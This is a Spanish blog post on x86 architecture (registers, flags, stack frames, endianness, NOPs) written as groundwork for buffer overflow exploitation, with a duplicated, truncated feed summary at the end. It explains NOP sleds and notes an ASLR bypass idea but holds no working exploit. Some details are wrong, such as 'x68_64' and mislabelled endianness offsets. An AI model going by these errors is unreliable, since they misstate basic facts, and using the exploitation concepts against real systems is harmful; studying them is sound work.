<li><a href="https://www.nasm.us/">NASM</a> (Netwide Assembler).</li>
<li><a href="https://www.microsoft.com/en-us/download/details.aspx?id=12654">MASM</a> (Microsoft Macro Assembler).</li>
<li><a href="https://www.gnu.org/software/binutils/">GAS</a> (GNU Assembler).</li>
<li><a href="https://flatassembler.net/">FASM</a> (Flat Assembler).</li>
</ul>
<p>A continuación, se presenta un ejemplo de un programa, mostrando sus instrucciones en memoria tanto en lenguaje máquina (cuadro verde) como en assembly (cuadro azul):</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/machine_code-vs-asm.png" alt="02" /></p>
<p>Es necesario tener en cuenta que cada CPU tiene su propio set de instrucciones de arquitectura (<strong>ISA</strong>). Estos entregan todo lo necesario para quien quiera escribir un programa (memoria, registros, instrucciones, entre otros). Para nuestro caso, el ISA a revisar es el set de instrucciones <strong>x86</strong>, originario del <strong>Intel 8086</strong>.</p>
<blockquote>
<p>NOTA: el acronimo x86 hace referencia a la arquitectura de procesadores de 32 bits, mientras que x64 (también conocido como x68_64 o AMD64), hace referencia a la arquitectura de 64 bits.
El número de bits equivale al ancho de los registros de la CPU.</p>
</blockquote>
<h2 id="funcionamiento-básico-de-la-cpu">Funcionamiento básico de la CPU</h2>
<p>Cuando se habla de la CPU, es necesario tener en cuenta los siguientes componentes:</p>
<ul>
<li><strong>Unidad de Control:</strong> recupera/decodifica instrucciones y recupera/almacena datos en la memoria.</li>
<li><strong>Unidad de Ejecución:</strong> la ejecución de instrucciones ocurre en esta sección.</li>
<li><strong>Registros:</strong> direcciones de memoria interna.</li>
<li><strong>Flags:</strong> Usados para indicar el estado de un programa cuando este se está ejecutando.</li>
</ul>
<p><img src="/assets/img/arquitectura-de-microprocesadores/cpu.png" alt="03" /></p>
<h2 id="registros-gpr">Registros GPR</h2>
<p>Los registros GPR (General Purpose Registers) son porciones pequeñas de memoria que sirven como almacenamiento temporal de datos (similar a las variables).</p>
<p>Algunos tienen un propósito especial, mientras que otros son usados para almacenar datos.</p>
<p>Dentro de sus funciones están:</p>
<ul>
<li>Operandos para operaciones lógicas y aritméticas.</li>
<li>Operandos para cálculos de dirección.</li>
<li>Punteros de memoria.</li>
</ul>
<p>La siguiente tabla presenta los 8 registros para la arquitectura x86:</p>
<table>
<thead>
<tr>
<th style="text-align: center">Nomenclatura</th>
<th>Nombre</th>
<th>Descripción</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">EAX</td>
<td>Extended Accumulator Register</td>
<td>Usado para operaciones aritméticas.<br />Acumulador para operandos y datos de resultados.</td>
</tr>
<tr>
<td style="text-align: center">EBX</td>
<td>Extended Base Register</td>
<td>Registro base para acceder a la memoria.<br />Almacena la dirección base del programa.<br />Puntero a datos en el segmento DS.</td>
</tr>
<tr>
<td style="text-align: center">ECX</td>
<td>Extended Counter Register</td>
<td>Contador para operaciones de cadena y loop.</td>
</tr>
<tr>
<td style="text-align: center">EDX</td>
<td>Extended Data Register</td>
<td>Utilizado en operaciones aritméticas y puntero de entrada/salida (I/O).</td>
</tr>
<tr>
<td style="text-align: center">EBP</td>
<td>Extended Base Pointer</td>
<td>Conocido como puntero base o puntero de marco.<br />Apunta al fondo del marco del stack actual.<br />También puede ser utilizado para hacer referencia a variables locales.<br />Puntero a los datos en la stack (en el segmento SS).</td>
</tr>
<tr>
<td style="text-align: center">EDI</td>
<td>Extended Destination Index</td>
<td>Puntero a datos (o destino) en el segmento señalado por el registro ES.<br />Puntero de destino para operaciones de cadena.</td>
</tr>
<tr>
<td style="text-align: center">ESI</td>
<td>Extended Source Index</td>
<td>Puntero a los datos en el segmento señalado por el registro DS.<br />Puntero de origen para operaciones de cadena.</td>
</tr>
<tr>
<td style="text-align: center">ESP</td>
<td>Extended Stack Pointer</td>
<td>Apunta la parte superior del stack.<br />Puntero de stack (en el segmento SS).</td>
</tr>
</tbody>
</table>
<p>La tabla anterior muestra los registros para una arquitectura de 32 bits, pero estos pueden ser representados en las arquitecturas de 8 bits y 16 bits.</p>
<p>En 8 bits se define la memoria superior (los 8 bits superiores, representados por una <strong><em>H</em></strong>) y la memoria inferior (los 8 bits inferiores, representados por una <strong><em>L</em></strong>). En 16 bits, estos dos se unen y se utiliza una <strong><em>X</em></strong>. Cuando vemos los registros de 32 bits, a estos se le agrega una <strong><em>E</em></strong>, y en 64 bits esta es reemplazada por una <strong><em>R</em></strong>:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/registers-1.png" alt="04" /></p>
<h2 id="registros-de-segmentos">Registros de Segmentos</h2>
<p>Son registros de 16 bits que identifican un segmento en la memoria. Para acceder a un segmento particular en la memoria, el registro de segmento para esa unidad debe estar presente en el registro apropiado.</p>
<p>El uso de estos dependen del tipo de modelo de administración de la memoria del sistema operativo o el que lo ejecuta.</p>
<p>Cada registro de segmento está asociado a uno de los siguientes tipos de almacenamiento: código, datos, stack.</p>
<ul>
<li><strong>Registro CS:</strong> contiene la dirección de segmento para el segmento de <em>código</em>, donde, se almacenan las instrucciones que se ejecutan.</li>
<li><strong>Registro DS:</strong> permite un acceso eficiente y seguro a diferentes tipos de estructuras de datos.</li>
<li><strong>Registro SS:</strong> contiene la dirección del segmento SS, donde el stack de procedimientos se almacena para el programa, tarea o controlador que se está ejecutando actualmente. Todas las operaciones del stack utilizan el registro SS para encontrar el segmento del stack.</li>
<li><strong>Registro ES:</strong> registro adicional para almacenar datos.</li>
<li><strong>Registro FS:</strong> registro adicional para almacenar datos.</li>
<li><strong>Registro GS:</strong> registro adicional para almacenar datos.</li>
</ul>
<h2 id="registros-de-estados-eflags">Registros de estados EFlags</h2>
<p>Estos registros de 32 bits almacenan varios indicadores de estado, uno de control y un grupo del sistema.</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/eflags.png" alt="05" /></p>
<p>Cabe destacar, que para procesadores de 16 bits, estos se llaman Flags, para 32 bits EFlags, y para 64 bits RFlags.</p>
<p>Los Flags de estado indican los resultados de las instrucciones aritméticas:</p>
<ul>
<li><strong>CF:</strong> bit 0, este flag indica una condición de overflow para la aritmética de enteros sin signo. También se usa en aritmética de precisión múltiple.</li>
<li><strong>PF:</strong> bit 2, se establece si el byte menos significativo del resultado contiene un número par de 1 bits.</li>
<li><strong>AF:</strong> bit 4, se establece si una operación aritmética genera un acarreo o un préstamo del bit 3 del resultado. Este indicador se utiliza en aritmética decimal codificada en binario (BCD).</li>
<li><strong>ZF:</strong> bit 6, se establece si el resultado es cero.</li>
<li><strong>SF:</strong> bit 7, se establece igual al bit más significativo del resultado, que es el bit de signo de un entero con signo. (0 indica un valor positivo y 1 indica un valor negativo).</li>
<li><strong>OF:</strong> bit 11, se establece si el resultado entero es un número positivo demasiado grande o un número negativo demasiado pequeño (excluyendo el bit de signo) para caber en el operando de destino. Este indicador especifica una condición de overflow para la aritmética de entero con signo.</li>
</ul>
<p>El flag de control (<strong>DF - Direction flag</strong>, bit 10) controla las instrucciones en cadena. Si este se encuentra activado, las instrucciones en cadena disminuyen automáticamente.</p>
<p>Y por último, se tienen los flags de sistema y el campo IOPL. Estos registran el control del sistema operativo o las operaciones ejecutadas (estos no deben ser modificados por las aplicaciones):</p>
<ul>
<li><strong>TF:</strong> bit 8, configurado para habilitar el modo de un solo paso para el debugging.</li>
<li><strong>IF:</strong> bit 9, configurado para responder a interrupciones enmascaradas.</li>
<li><strong>IOPL:</strong> bit 12 y 13, indica el nivel de privilegio de entrada/salida del programa o tarea actualmente en ejecución.</li>
<li><strong>NT:</strong> bit 14, controla el encadenamiento de tareas interrumpidas y llamadas. Se establece cuando la tarea actual está vinculada a la tarea ejecutada previamente.</li>
<li><strong>RF:</strong> bit 16, controla la respuesta del procesador a las excepciones de debug.</li>
<li><strong>VM:</strong> bit 17, se establece para habilitar el modo virtual-8086.</li>
<li><strong>AC:</strong> bit 18, si el bit AM se establece en el registro CR0, la comprobación de alineación de los accesos de datos en modo de usuario se habilita si y sólo si este flag es 1. Si se establece el bit SMAP en el registro CR4, se permite el acceso explícito de datos en modo supervisor a las páginas en modo usuario si y sólo si este bit es 1.</li>
<li><strong>VIF:</strong> bit 19, imagen virtual del flag IF. Se usa junto con el flag VIP.</li>
<li><strong>VIP:</strong> bit 20, se establece para indicar que hay una interrupción pendiente. Se usa junto con el flag VIF.</li>
<li><strong>ID:</strong> bit 21, la capacidad de un programa para establecer o borrar este flag indica la compatibilidad con la instrucción CPUID.</li>
</ul>
<h2 id="registro-eip">Registro EIP</h2>
<p>El registro <strong>EIP</strong> (puntero de instrucción) contiene el desplazamiento (<em>offset</em>) en el segmento de código actual para que se ejecute la siguiente instrucción. Se avanza del límite de instrucciones al siguiente segmento del código en línea recta o se mueve hacia adelante o hacia atrás mediante una serie de instrucciones ( <strong>JMP</strong>, <strong>Jcc</strong>, <strong>CALL</strong>, <strong>RET</strong> e <strong>IRET</strong>).</p>
<p>El software no puede acceder directamente al registro <strong>EIP</strong>, este se controla implícitamente mediante instrucciones de transferencia de control (como <strong>JMP</strong>, <strong>Jcc</strong>, <strong>CALL</strong> y <strong>RET</strong>), interrupciones y excepciones.</p>
<p>La única forma de leer el registro <strong>EIP</strong> es ejecutar una instrucción <strong>CALL</strong> y luego leer el valor del puntero de instrucción de retorno del stack. El registro <strong>EIP</strong> se puede cargar indirectamente modificando el valor de un puntero de instrucción de retorno en el stack y ejecutando una instrucción de retorno (<strong>RET</strong> o <strong>IRET</strong>).</p>
<h2 id="proceso-de-la-memoria">Proceso de la memoria</h2>
<p>La memoria del procesador se encuentra dividida en 4 regiones:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/memory.png" alt="06" /></p>
<ul>
<li><strong>Text:</strong> también es conocida como instrucción de segmento. Es definido por el programa, y contiene el código de este (instrucciones). Esta región es marcada como <em>read-only</em>.</li>
<li><strong>Data:</strong> esta región se encuentra dividida en dos: <strong><em>datos inicializados</em></strong> y <strong><em>datos no inicializados</em></strong>.
<ul>
<li><strong>Datos inicializados:</strong> incluye items como variables globales y estáticas declaradas que fueron predefinidas y pueden ser modificadas.</li>
<li><strong>Datos no inicializados:</strong> también conocido como <strong>BSS</strong> (Block Started by Symbol); además, comienza las variables que se inicializan a cero o que no tienen una inicialización explícita (por ejemplo, <em>static int t</em>).</li>
</ul>
</li>
<li><strong>Heap:</strong> este inicia después del segmento <strong>BSS</strong>. Esta porción de memoria es usada cuando se necesita más espacio por parte del programa, como por ejemplo, llamadas de sistema <a href="https://man7.org/linux/man-pages/man2/brk.2.html">brk</a> y <a href="https://man7.org/linux/man-pages/man2/brk.2.html">sbrk</a>, usados por <a href="https://man7.org/linux/man-pages/man3/malloc.3.html">malloc</a>, <a href="https://man7.org/linux/man-pages/man3/realloc.3p.html">realloc</a> y <a href="https://man7.org/linux/man-pages/man1/free.1.html">free</a>. Se asigna/revoca de forma manual.</li>
<li><strong>Stack:</strong> es el bloque de memoria <strong>LIFO</strong> (Last-in First-out). Se encuentra en la parte alta de la memoria, y es donde se almacenan las variables cuando se encuentra en ejecución una función de un programa.</li>
</ul>
<h2 id="stack">Stack</h2>
<p>Es una matriz contigua de ubicaciones de memoria. Está contenido en un segmento e identificado por el selector de segmento en el registro SS.</p>
<p>La siguiente imagen, muestra una representación del stack:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/stack.png" alt="07" /></p>
<p>Es necesario tener en cuenta que dentro de las principales diferencias que posee el stack con el heap, es que el stack crece hacia la dirección de memoria más baja, mientras que heap lo hace hacia la dirección de memoria más alta:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/heap-vs-stack.png" alt="08" /></p>
<p>Como se comentó antes, el stack es una estructura <strong>LIFO</strong>, donde las operaciones fundamentales son <strong>PUSH</strong> y <strong>POP</strong>.</p>
<ul>
<li><strong>PUSH:</strong> agrega elementos a la parte superior del stack. En una arquitectura de 32 bits va disminuyendo de 4 bytes, mientras agrega elementos al stack (en 64 bits, la dirección de la memoria va disminuyendo en 8 bytes).</li>
<li><strong>POP:</strong> retira el último elementos del stack. Realiza lo contrario a <strong>PUSH</strong>, en vez de disminuir la dirección del stack, lo va aumentando.</li>
</ul>
<blockquote>
<p>NOTA: cada vez que se usa <strong>PUSH</strong> y <strong>POP</strong>, el registro <strong>ESP</strong> es modificado, apuntando a la parte superior del stack.</p>
</blockquote>
<h2 id="stack-frames">Stack Frames</h2>
<p>Los <strong>stack frames</strong> son porciones o áreas del stack que son agregadas (usando un <strong>PUSH</strong>), cuando llaman una función, o retiradas (con un <strong>POP</strong>) cuando se retorna un valor.</p>
<p>Por lo tanto, cuando una subrutina o un procedimiento es iniciado, un <strong>stack frame</strong> es creado asignándole el <strong>ESP</strong> (puntero stack) actual. Cuando la subrutina/procedimiento finaliza, el <strong>EIP</strong> (puntero de instrucción) es restablecido a la dirección de la llamada inicial.</p>
<p>A continuación, dejo un ejemplo de stack frame del siguiente código:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">a</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
<span class="n">a</span><span class="p">();</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p><img src="/assets/img/arquitectura-de-microprocesadores/stack-frame.png" alt="09" /></p>
<h2 id="prólogo-y-epílogo">Prólogo y Epílogo</h2>
<p>Las funciones que podemos encontrar cuando se agregan o retiran elementos del stack son:</p>
<ul>
<li><strong>Prólogo:</strong> prepara el stack para ser usado. Este ocurre para cada función, y cuando la función que es llamada toma el control, ejecuta las siguientes instrucciones:</li>
</ul>
<pre><code class="language-assembly">push ebp ; guarda el valor del antiguo EBP en el stack
mov ebp, esp ; copia el valor de ESP en el puntero EBP, creando un nuevo stack frame
sub esp, X ; resta X del stack pointer (ESP), haciendo espacio para variables locales
</code></pre>
<ul>
<li><strong>Epílogo:</strong> retorna el control al que realiza la llamada de la función anterior. Reemplaza el ESP con el EBP actual. Restaura su valor antes del prólogo mediante un POP del EBP desde el stack. Regresa al que llama haciendo un POP del EIP (almacenada en el stack) y luego salta a ella.</li>
</ul>
<p>Ejemplos de epílogo:</p>
<pre><code class="language-assembly">leave
ret
</code></pre>
<p>o:</p>
<pre><code class="language-assembly">mov esp, ebp
pop ebp
ret
</code></pre>
<p>Ejemplo del stack frame con prólogo y epílogo:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">function1</span><span class="p">(</span><span class="kt">int</span> <span class="n">l</span><span class="p">,</span> <span class="kt">int</span> <span class="n">m</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">x</span> <span class="o">=</span> <span class="mi">21</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">y</span> <span class="o">=</span> <span class="mi">22</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="kt">int</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
<span class="n">funtion1</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<h3 id="paso-1">Paso 1:</h3>
<p>Lo primero que sucede en al iniciar este programa, es que los parámetros de la función <em>main (argc y argv)</em> son agregados al stack (de izquierda a derecha):</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso1-4.png" alt="10" /></p>
<h3 id="paso-2">Paso 2:</h3>
<p>Luego se llama la función <em>main</em> y la CPU realiza un <strong>PUSH</strong> del contenido del <strong>EIP</strong> en el stack, y señala el primer byte después de la instrucción <strong>CALL</strong> (se necesita saber la dirección de la próxima instrucción para poder proceder cuando regresemos de la función llamada).</p>
<h3 id="paso-3">Paso 3:</h3>
<p>El que llama (en este caso el sistema operativo) pierde el control, y el que es llamado (función <em>main</em>) toma el control:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso3.png" alt="11" /></p>
<h3 id="paso-4">Paso 4:</h3>
<p>Como estamos en la función <em>main</em>, se crea un nuevo stack frame, el cual, es definido por el <strong>EBP</strong> y el <strong>ESP</strong>; almacenando el <strong>EBP</strong> actual en el stack, con el fin de poder saber que estamos volviendo a la función que llamó a <em>main</em>. Cuando el valor del <strong>EBP</strong> es almacenado, este es actualizado, y ahora apunta a la parte superior del stack:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso4-1.png" alt="12" /></p>
<p>Este paso corresponde al prólogo, el cual, crea espacio suficiente en el stack, donde, se pueden copiar las variables locales:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso4-2.png" alt="13" /></p>
<h3 id="paso-5">Paso 5:</h3>
<p>Cuando el prólogo termina, se completa el stack frame de <em>main</em>, y las variables locales son copiadas en el stack.</p>
<p>Ahora se tiene que definir el valor del <strong>ESP</strong>, el cual, indica la parte superior del stack. Esto se logra con la siguiente instrucción:</p>
<pre><code class="language-assembly">mov DWORD PTR [esp+Y],0x1
</code></pre>
<p>La instrucción anterior mueve el valor <code class="language-plaintext highlighter-rouge">0x1</code> (el valor de la variable de <code class="language-plaintext highlighter-rouge">a</code>) a la ubicación de la dirección de memoria apuntada a <code class="language-plaintext highlighter-rouge">ESP+Y</code>. <code class="language-plaintext highlighter-rouge">ESP+Y</code> apunta a una dirección de memoria entre <strong>EBP</strong> y <strong>ESP</strong>.</p>
<p>Es necesario tener en cuenta que esto se realiza para cada variable:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso5-1.png" alt="14" /></p>
<h3 id="paso-6">Paso 6:</h3>
<p>En este punto, <em>main</em> comienza con el llamado a la función <em>function1</em>, realizando lo siguiente:</p>
<ul>
<li>Realiza un <strong>PUSH</strong> de los parámetros de la función en el stack.</li>
<li>Llama a <em>function1</em>.</li>
<li>Ejecuta el prólogo (lo que actualizará el <strong>EBP</strong> y <strong>ESP</strong> para crear un nuevo stack frame).</li>
<li>Asignará las variables locales en el stack.</li>
</ul>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso6.png" alt="15" /></p>
<h3 id="paso-7">Paso 7:</h3>
<p>Ahora que la función <em>function1</em> se ha ejecutado por completo, se realiza un retorno al stack frame anterior mediante el epílogo.</p>
<blockquote>
<p>NOTA: cabe destacar, que aunque no tenga un <code class="language-plaintext highlighter-rouge">return</code> en el código, cuando el programa deja una subrutina, seguirá ejecutando el epílogo.</p>
</blockquote>
<p>Lo primero que hace el epílogo es mover <strong>EBP</strong> en <strong>ESP</strong> (<code class="language-plaintext highlighter-rouge">mov esp, ebp</code>), dejando a los dos apuntando a la misma dirección.</p>
<p>Luego realiza un <strong>POP</strong> del <strong>EBP</strong> (<code class="language-plaintext highlighter-rouge">pop ebp</code>), dejando el valor de <strong>EBP</strong> en la parte superior del stack. Dado que la parte superior del stack apunta a la ubicación de la dirección de memoria donde se almacena el antiguo EBP (el EBP que llama), se restaura el stack frame del que hace la llamada.</p>
<blockquote>
<p>NOTA: recordar que la instrucción <strong>POP</strong> actualiza el valor del <strong>ESP</strong>. Ahora el <strong>ESP</strong> apunta al <strong>EIP</strong> almacenado anteriormente.</p>
</blockquote>
<p>Y la última instrucción que ejecuta el epílogo es el <strong>RET</strong>.</p>
<p>La instrucción <strong>RET</strong> muestra el valor contenido en la parte superior del stack en el <strong>EIP</strong> anterior, y salta a dicha dirección de memoria devolviendo el control del que llama a la función.</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/paso7-1.png" alt="16" /></p>
<p>Esto se repite hasta que finaliza la ejecución del programa.</p>
<h2 id="endianness">Endianness</h2>
<p>Los endianness son una representación o almacenamiento de valores en memoria.</p>
<p>Existen 3 tipos de endianness, los cuales son:</p>
<ul>
<li>Big-Endian</li>
<li>Little-Endian</li>
<li>Mixed-Endian</li>
</ul>
<p>En este post solo se explicaran big-endian y little-endian, debido que mixed-endian rara vez es utilizado.</p>
<p>El saber sobre endianness ayudará al momento de escribir un payload para explotar un Buffer Overflow.</p>
<p>La representación de big-endian el <a href="#lsb"><strong>LSB</strong></a> es almacenado en la dirección de memoria mayor. Mientras que, el <a href="#msb"><strong>MSB</strong></a> es almacenado en la dirección de memoria más baja.</p>
<p>En el siguiente ejemplo se tiene el valor hexadecimal <code class="language-plaintext highlighter-rouge">0x12345678</code>, teniendo en cuenta que <code class="language-plaintext highlighter-rouge">+0</code> apunta a la dirección más alta y <code class="language-plaintext highlighter-rouge">+3</code> apunta a la dirección más baja:</p>
<table>
<thead>
<tr>
<th style="text-align: center">Dirección en memoria</th>
<th style="text-align: center">Valor del byte</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">+0</td>
<td style="text-align: center">0x12</td>
</tr>
<tr>
<td style="text-align: center">+1</td>
<td style="text-align: center">0x34</td>
</tr>
<tr>
<td style="text-align: center">+2</td>
<td style="text-align: center">0x56</td>
</tr>
<tr>
<td style="text-align: center">+3</td>
<td style="text-align: center">0x78</td>
</tr>
</tbody>
</table>
<p>En little-endian es lo contrario, el <strong>LSB</strong> es almacenado en la dirección de memoria más baja, mientras que, el <strong>MSB</strong> es almacenado en la dirección de memoria más alta.</p>
<p>En el siguiente ejemplo se tiene el valor hexadecimal <code class="language-plaintext highlighter-rouge">0x12345678</code>, teniendo en cuenta que <code class="language-plaintext highlighter-rouge">+0</code> apunta a la dirección más alta y <code class="language-plaintext highlighter-rouge">+3</code> apunta a la dirección más baja:</p>
<table>
<thead>
<tr>
<th style="text-align: center">Dirección en memoria</th>
<th style="text-align: center">Valor del byte</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">+0</td>
<td style="text-align: center">0x78</td>
</tr>
<tr>
<td style="text-align: center">+1</td>
<td style="text-align: center">0x56</td>
</tr>
<tr>
<td style="text-align: center">+2</td>
<td style="text-align: center">0x34</td>
</tr>
<tr>
<td style="text-align: center">+3</td>
<td style="text-align: center">0x12</td>
</tr>
</tbody>
</table>
<p>Por lo tanto, si ahora tenemos el valor <code class="language-plaintext highlighter-rouge">11</code> decimal (en hexadecimal es <code class="language-plaintext highlighter-rouge">0B</code>), la notación en little-endian sería:</p>
<table>
<thead>
<tr>
<th style="text-align: center">Dirección en memoria</th>
<th style="text-align: center">Valor del byte</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: center">+0</td>
<td style="text-align: center">0x0B</td>
</tr>
<tr>
<td style="text-align: center">+1</td>
<td style="text-align: center">0x00</td>
</tr>
<tr>
<td style="text-align: center">+2</td>
<td style="text-align: center">0x00</td>
</tr>
<tr>
<td style="text-align: center">+3</td>
<td style="text-align: center">0x00</td>
</tr>
</tbody>
</table>
<p>Esto si lo vemos en un debugger, se representaría de la siguiente forma:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/little-endian.png" alt="17" /></p>
<h3 id="msb">MSB</h3>
<p>En binario, el bit más significativo es el valor más grande, leído de izquierda a derecha. Por lo tanto, si tenemos el binario <code class="language-plaintext highlighter-rouge">100</code>, el <strong>MSB</strong> es <code class="language-plaintext highlighter-rouge">1</code>.</p>
<h3 id="lsb">LSB</h3>
<p>En binario, el bit menos significativo es el valor más bajo, leído de derecha a izquierda. Por lo tanto, si tenemos el binario <code class="language-plaintext highlighter-rouge">110</code>, el <strong>LSB</strong> es <code class="language-plaintext highlighter-rouge">0</code>.</p>
<h2 id="nops">NOPs</h2>
<p>Dentro de los tópicos importantes y que se deben saber como base al momento de realizar un Buffer Overflow son las instrucciones <strong>NOP</strong> (No Operation).</p>
<p>Este corresponde a una instrucción en assembly que indica <em>hacer nada</em>. Esto significa que cuando el programa encuentra un <strong>NOP</strong> al momento de su ejecución, este simplemente lo omite y saltará a la siguiente instrucción.</p>
<p>En arquitectura de procesadores x86, estas instrucciones son representadas por el valor hexadecimal <code class="language-plaintext highlighter-rouge">0x90</code>.</p>
<p>La razón de ver los <strong>NOPs</strong> es que, al momento de realizar un ataque de Buffer Overflow, este debe coincidir con el tamaño y la ubicación específica que el programa espera.</p>
<p>Para lograr esto, es que se utiliza la técnica <strong><em>NOP-sled</em></strong>, el cual, nos permite llenar una porción del stack con <strong>NOP</strong>, permitiéndonos llegar a la instrucción que deseamos ejecutar.</p>
<h2 id="protecciones">Protecciones</h2>
<p>A lo largo de los años, se han desarrollado múltiples implementaciones de seguridad para prevenir la explotación de vulnerabilidades de Buffer Overflow:</p>
<ul>
<li><strong>ASLR</strong> (Address Space Layout Randomization)</li>
<li><strong>DEP</strong> (Data Execution Prevention)</li>
<li><strong>Canary</strong> (Stack Cookies)</li>
</ul>
<h3 id="aslr">ASLR</h3>
<p>Esta protección introduce la aleatoriedad para los ejecutables, bibliotecas y stacks en el espacio de direcciones de la memoria, esto significa que, cuando se ejecuta múltiples veces el mismo programa, cada vez es ubicado en diferentes direcciones de memoria.</p>
<p>El problema de <strong>ASLR</strong> es que no se habilita para todos los módulos, por lo tanto, cuando un proceso tiene <strong>ASLR</strong> habilitado, puede que un <em>DLL</em> en el espacio de direcciones no tenga esta protección, y así podría realizarse un bypass de este.</p>
<p>Para poder validar si un programa utiliza <strong>ASLR</strong> (u otra protección), se puede utilizar el programa de Microsoft <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a>.</p>
<p>Para poder ver esta columna, debemos hacer clic derecho en el nombre de una de las columnas y hacer clic en <em>Select Columns…</em>:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/processExplorer1.png" alt="18" /></p>
<p>Luego seleccionamos la columna que deseamos ver, que en este caso es <em>ASLR Enabled</em>:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/processExplorer2.png" alt="19" /></p>
<p>Y con esto podemos ver si este se encuentra habilitado o no:</p>
<p><img src="/assets/img/arquitectura-de-microprocesadores/processExplorer3.png" alt="20" /></p>
<p>Además de esto, Microsoft posee la herramienta <a href="https://msrc-blog.microsoft.com/2010/09/02/the-enhanced-mitigation-experience-toolkit-2-0-is-now-available/">EMET</a> (Enhanced Mitigation Experience Toolkit), que ayuda a solventar problemas de explotación, brindando a los usuarios la habilidad de desarrollar tecnología de mitigación de seguridad en todas las aplicaciones.</p>
<h3 id="dep">DEP</h3>
<p>Es una medida defensiva para hardware y software que previene la ejecución de código de zonas en la memoria que no están explícitamente marcadas como ejecutables.</p>
<h3 id="canary">Canary</h3>
<p>También conocida como <strong>Stack Cookie</strong>. Es una implementación de seguridad que coloca un valor al lado de la dirección de retorno en el stack.</p>
<p>El prólogo de la función carga un valor en esta ubicación, mientras que el epílogo se asegura de que el valor esté intacto. Como resultado, cuando se ejecuta el epílogo, comprueba que el valor todavía está allí y que es correcto.</p>W0lf_F4ngms@w0lff4ng.orgEste post está creado para poder tener una base del funcionamiento de los procesadores de arquitectura x86, para poder llevar a cabo ataques de Buffer Overflow. Conceptos básicos de la Organización del Sistema Dentro de la organización del sistema, podemos encontrar lo siguiente: CPU: Unidad de Proceso Central. Memoria: bloque de memoria donde los programas, datos, etc. son almacenados. Dispositivos I/O: dispositivos de entrada y salida, como monitores, tajera de red, entre otros. Todos estos se encuentran conectados mediante un Bus del Sistema: CPU (Central Process Unit) La CPU es el dispositivo encargado de ejecutar el código máquina (o lenguaje máquina) de un programa, el cual, corresponde a un grupo de instrucciones. Estas instrucciones son presentadas en binario al procesador (a nosotros se nos presentan en hexadecimal), pero como la mayoría no entiende esto, es necesario traducirlos en un lenguaje mnemotécnico, como es el caso del lenguaje Assembly (ASM). Los assembler más populares son: NASM (Netwide Assembler). MASM (Microsoft Macro Assembler). GAS (GNU Assembler). FASM (Flat Assembler). A continuación, se presenta un ejemplo de un programa, mostrando sus instrucciones en memoria tanto en lenguaje máquina (cuadro verde) como en assembly (cuadro azul): Es necesario tener en cuenta que cada CPU tiene su propio set de instrucciones de arquitectura (ISA). Estos entregan todo lo necesario para quien quiera escribir un programa (memoria, registros, instrucciones, entre otros). Para nuestro caso, el ISA a revisar es el set de instrucciones x86, originario del Intel 8086. NOTA: el acronimo x86 hace referencia a la arquitectura de procesadores de 32 bits, mientras que x64 (también conocido como x68_64 o AMD64), hace referencia a la arquitectura de 64 bits. El número de bits equivale al ancho de los registros de la CPU. Funcionamiento básico de la CPU Cuando se habla de la CPU, es necesario tener en cuenta los siguientes componentes: Unidad de Control: recupera/decodifica instrucciones y recupera/almacena datos en la memoria. Unidad de Ejecución: la ejecución de instrucciones ocurre en esta sección. Registros: direcciones de memoria interna. Flags: Usados para indicar el estado de un programa cuando este se está ejecutando. Registros GPR Los registros GPR (General Purpose Registers) son porciones pequeñas de memoria que sirven como almacenamiento temporal de datos (similar a las variables). Algunos tienen un propósito especial, mientras que otros son usados para almacenar datos. Dentro de sus funciones están: Operandos para operaciones lógicas y aritméticas. Operandos para cálculos de dirección. Punteros de memoria. La siguiente tabla presenta los 8 registros para la arquitectura x86: Nomenclatura Nombre Descripción EAX Extended Accumulator Register Usado para operaciones aritméticas.Acumulador para operandos y datos de resultados. EBX Extended Base Register Registro base para acceder a la memoria.Almacena la dirección base del programa.Puntero a datos en el segmento DS. ECX Extended Counter Register Contador para operaciones de cadena y loop. EDX Extended Data Register Utilizado en operaciones aritméticas y puntero de entrada/salida (I/O). EBP Extended Base Pointer Conocido como puntero base o puntero de marco.Apunta al fondo del marco del stack actual.También puede ser utilizado para hacer referencia a variables locales.Puntero a los 